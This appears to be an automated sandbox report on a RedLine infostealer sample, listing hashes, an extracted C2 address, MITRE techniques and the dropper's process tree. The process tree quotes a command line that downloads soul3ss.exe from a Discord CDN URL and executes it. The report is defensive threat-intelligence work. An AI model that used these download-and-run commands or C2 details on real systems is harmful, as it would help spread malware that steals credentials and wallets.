redline | 65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

General

Target

e16f915796d4762014fc3864d4444ac3.exe
Size

449KB
MD5

e16f915796d4762014fc3864d4444ac3
SHA1

819364784cf0d3fe440b6c9a3950de7fa093e805
SHA256

65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd
SHA512

1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a

Score

10^/10

redline @soul3ss discovery infostealer spyware stealer upx

Malware Config

Extracted

Family

redline

Botnet

@soul3ss

C2

188.130.139.12:30376

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\27174\soul3ss.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\27174\soul3ss.exe	family_redline

Downloads MZ/PE file
Executes dropped EXE 5 IoCs

Processes:

extd.exeextd.exeextd.exesoul3ss.exeextd.exe

pid process

2052 extd.exe
3720 extd.exe
2880 extd.exe
1992 soul3ss.exe
3688 extd.exe

pid	process
2052	extd.exe
3720	extd.exe
2880	extd.exe
1992	soul3ss.exe
3688	extd.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe	upx
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe	upx
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe	upx
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe	upx
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe	upx

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

soul3ss.exe

pid process

1992 soul3ss.exe
1992 soul3ss.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

soul3ss.exe

description pid process

Token: SeDebugPrivilege 1992 soul3ss.exe

pid	process
1992	soul3ss.exe
1992	soul3ss.exe

description	pid	process
Token: SeDebugPrivilege	1992	soul3ss.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

e16f915796d4762014fc3864d4444ac3.execmd.exe

description	pid	process	target process
PID 3148 wrote to memory of 352	3148	e16f915796d4762014fc3864d4444ac3.exe	cmd.exe
PID 3148 wrote to memory of 352	3148	e16f915796d4762014fc3864d4444ac3.exe	cmd.exe
PID 352 wrote to memory of 2052	352	cmd.exe	extd.exe
PID 352 wrote to memory of 2052	352	cmd.exe	extd.exe
PID 352 wrote to memory of 3720	352	cmd.exe	extd.exe
PID 352 wrote to memory of 3720	352	cmd.exe	extd.exe
PID 352 wrote to memory of 2880	352	cmd.exe	extd.exe
PID 352 wrote to memory of 2880	352	cmd.exe	extd.exe
PID 352 wrote to memory of 1992	352	cmd.exe	soul3ss.exe
PID 352 wrote to memory of 1992	352	cmd.exe	soul3ss.exe
PID 352 wrote to memory of 1992	352	cmd.exe	soul3ss.exe
PID 352 wrote to memory of 3688	352	cmd.exe	extd.exe
PID 352 wrote to memory of 3688	352	cmd.exe	extd.exe

C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe
"C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3148

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\1FA5.bat C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:352

C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
3⤵
- Executes dropped EXE
PID:2052

C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe "/random" "9000000" "" "" "" "" "" "" ""
3⤵
- Executes dropped EXE
PID:3720

C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/879335227095416884/879356613826314250/soul3ss.exe" "soul3ss.exe" "" "" "" "" "" ""
3⤵
- Executes dropped EXE
PID:2880

C:\Users\Admin\AppData\Local\Temp\27174\soul3ss.exe
soul3ss.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe "/sleep" "9000009" "" "" "" "" "" "" ""
3⤵
- Executes dropped EXE
PID:3688

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\1FA5.bat
MD5
5453a6873ec3e81ade6bf7622b71c447

SHA1
819035613a3f752e5e5e752bcadb392dcb4eabc0

SHA256
ac17b7003f4137ce9c0848b3e40e1c2275251ea4316923c7c1fc0a66d84b0efc

SHA512
64ce015a8235630878aa2c4dcb3c5946ec7082fc59234f364035743fc518d0e7c7c6813f5401421ccfeaa093b2fa7c9379608c4b883a539d9d6a1475f368a8e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
MD5
b019efc4814c7a73b1413a335be1fa13

SHA1
6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

SHA256
a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

SHA512
d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
MD5
b019efc4814c7a73b1413a335be1fa13

SHA1
6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

SHA256
a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

SHA512
d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
MD5
b019efc4814c7a73b1413a335be1fa13

SHA1
6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

SHA256
a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

SHA512
d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
MD5
b019efc4814c7a73b1413a335be1fa13

SHA1
6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

SHA256
a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

SHA512
d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1F94.tmp\1FA4.tmp\extd.exe
MD5
b019efc4814c7a73b1413a335be1fa13

SHA1
6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

SHA256
a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

SHA512
d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

Download Submit
C:\Users\Admin\AppData\Local\Temp\27174\soul3ss.exe
MD5
411ca7ba89ae45e92f9ed4663f903335

SHA1
6360b07844800b8e6e6e2b11ee3c8d051c4a2e96

SHA256
6780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009

SHA512
bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754

Download Submit
C:\Users\Admin\AppData\Local\Temp\27174\soul3ss.exe
MD5
411ca7ba89ae45e92f9ed4663f903335

SHA1
6360b07844800b8e6e6e2b11ee3c8d051c4a2e96

SHA256
6780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009

SHA512
bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754

Download Submit
memory/352-114-0x0000000000000000-mapping.dmp

Download
memory/1992-136-0x0000000005F30000-0x0000000006536000-memory.dmp

Filesize
6.0MB

Download
memory/1992-133-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/1992-143-0x0000000009AE0000-0x0000000009AE1000-memory.dmp

Filesize
4KB

Download
memory/1992-142-0x00000000090B0000-0x00000000090B1000-memory.dmp

Filesize
4KB

Download
memory/1992-141-0x0000000008DA0000-0x0000000008DA1000-memory.dmp

Filesize
4KB

Download
memory/1992-128-0x0000000000C90000-0x0000000000C91000-memory.dmp

Filesize
4KB

Download
memory/1992-130-0x0000000005A30000-0x0000000005A31000-memory.dmp

Filesize
4KB

Download
memory/1992-131-0x0000000006540000-0x0000000006541000-memory.dmp

Filesize
4KB

Download
memory/1992-132-0x00000000056A0000-0x00000000056A1000-memory.dmp

Filesize
4KB

Download
memory/1992-123-0x0000000000000000-mapping.dmp

Download
memory/1992-134-0x0000000005850000-0x0000000005851000-memory.dmp

Filesize
4KB

Download
memory/1992-135-0x0000000006070000-0x0000000006071000-memory.dmp

Filesize
4KB

Download
memory/1992-140-0x00000000089C0000-0x00000000089C1000-memory.dmp

Filesize
4KB

Download
memory/1992-137-0x00000000064B0000-0x00000000064B1000-memory.dmp

Filesize
4KB

Download
memory/1992-138-0x0000000008A40000-0x0000000008A41000-memory.dmp

Filesize
4KB

Download
memory/1992-139-0x0000000009140000-0x0000000009141000-memory.dmp

Filesize
4KB

Download
memory/2052-116-0x0000000000000000-mapping.dmp

Download
memory/2880-121-0x0000000000000000-mapping.dmp

Download
memory/3688-125-0x0000000000000000-mapping.dmp

Download
memory/3720-119-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads